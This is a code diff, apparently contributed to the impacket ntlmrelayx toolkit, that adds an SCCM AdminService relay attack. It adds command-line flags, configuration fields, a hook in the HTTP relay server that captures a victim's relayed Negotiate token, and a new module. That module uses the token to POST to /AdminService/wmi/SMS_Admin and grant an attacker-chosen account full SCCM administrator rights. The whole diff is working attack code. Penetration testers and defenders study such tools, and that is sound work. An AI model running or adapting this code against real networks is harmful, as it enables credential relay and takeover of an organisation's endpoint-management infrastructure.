AdminService Attack

Author: garrettfoster13

examples/ntlmrelayx.py

@@ -205,6 +205,7 @@ def start_servers(options, threads):
                                       options.cert_outfile_path)
 
         c.setAltName(options.altname)
+        c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid)
 
         #If the redirect option is set, configure the HTTP server to redirect targets to SMB
         if server is HTTPRelayServer and options.r is not None:
@@ -390,6 +391,13 @@ def stop_servers(threads):
                                    help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
     shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')
 
+    # Adminservice opions
+    adminoptions = parser.add_argument_group("SCCM AdminService attack options")
+    adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack")
+    adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin")
+    adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin")
+    adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin")
+
     try:
        options = parser.parse_args()
     except Exception as e:

impacket/examples/ntlmrelayx/attacks/httpattack.py

@@ -17,6 +17,7 @@
 
 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
 from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
+from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack
 
 PROTOCOL_ATTACK_CLASS = "HTTPAttack"
 
@@ -34,6 +35,8 @@ def run(self):
 
         if self.config.isADCSAttack:
             ADCSAttack._run(self)
+        elif self.config.isADMINAttack:
+            ADMINSERVICEAttack._run(self)
         else:
             # Default action: Dump requested page to file, named username-targetname.html
             # You can also request any page on the server via self.client.session,

impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py

@@ -0,0 +1,70 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SCCM AdminService relay attack
+#
+# Authors:
+#   Garrett Foster (@garrfoster)
+#   Tw1sm (@Tw1sm)
+
+from impacket import LOG
+from struct import unpack
+from impacket.spnego import SPNEGO_NegTokenResp
+import json
+import base64
+
+
+class ADMINSERVICEAttack:
+    def _run(self):       
+        # slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth,
+        # requring all action to be performed in one shot
+        if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken)
+            token = respToken2['ResponseToken']
+        else:
+            token = self.config.sccmAdminToken
+        auth = base64.b64encode(token).decode("ascii")
+        headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'}
+
+        data = {
+            "LogonName": self.config.logonname, 
+            "AdminSid": self.config.objectsid,
+            "Permissions": [
+                {
+                    "CategoryID": "SMS00ALL", 
+                    "CategoryTypeID": 29, 
+                    "RoleID":"SMS0001R",
+                },
+                {
+                    "CategoryID": "SMS00001",
+                    "CategoryTypeID": 1, 
+                    "RoleID":"SMS0001R", 
+                },
+                {
+                    "CategoryID": "SMS00004", 
+                    "CategoryTypeID": 1, 
+                    "RoleID":"SMS0001R",
+                }
+            ],
+            "DisplayName": self.config.displayname
+        }
+
+        body = json.dumps(data)
+
+        LOG.info('Adding administrator via SCCM AdminService...')
+        self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body)
+        
+        res = self.client.getresponse()
+
+        if res.status == 201:
+            LOG.info('Server returned code 201, attack successful')
+        else:
+            self.lastresult = res.read()
+            LOG.info(f'Server returned code {res.status} - attack likely failed')
+            LOG.info(self.lastresult.decode("utf-8").replace("'", '"'))

impacket/examples/ntlmrelayx/servers/httprelayserver.py

@@ -429,6 +429,17 @@ def do_relay(self, messageType, token, proxy, content = None):
 
                     target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)
 
+                # when relaying to the SCCM AdminService to add a new administrator,
+                # we need to break out of the normal relay auth flow and
+                # perform the attack all in one shot
+                if self.server.config.isADMINAttack:
+                    LOG.info("Exiting standard auth flow to add SCCM admin...")
+                    self.server.config.setSCCMAdminToken(token)
+                    LOG.info("HTTPD(%s): Authenticating against %s://%s as %s" % (self.server.server_address[1],
+                        self.target.scheme, self.target.netloc, self.authUser))
+                    self.do_attack()
+                    return
+
                 if not self.do_ntlm_auth(token, authenticateMessage):
                     LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
                                                                                self.authUser))

impacket/examples/ntlmrelayx/utils/config.py

@@ -100,6 +100,13 @@ def __init__(self):
         self.ShadowCredentialsExportType = None
         self.ShadowCredentialsOutfilePath = None
 
+        # Admin service attack
+        self.isADMINAttack = False
+        self.sccmAdminToken = None # internal storage var; not a CLI flag option
+        self.logonname = None
+        self.displayname = None
+        self.objectsid = None
+
     def setSMBChallenge(self, value):
         self.SMBServerChallenge = value
 
@@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials
     def setAltName(self, altName):
         self.altName = altName
 
+    def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid):
+        self.isADMINAttack = isADMINAttack
+        self.logonname = logonname
+        self.displayname = displayname
+        self.objectsid = objectsid
+
+    def setSCCMAdminToken(self, token):
+        self.sccmAdminToken = token
+
 def parse_listening_ports(value):
     ports = set()
     for entry in value.split(","):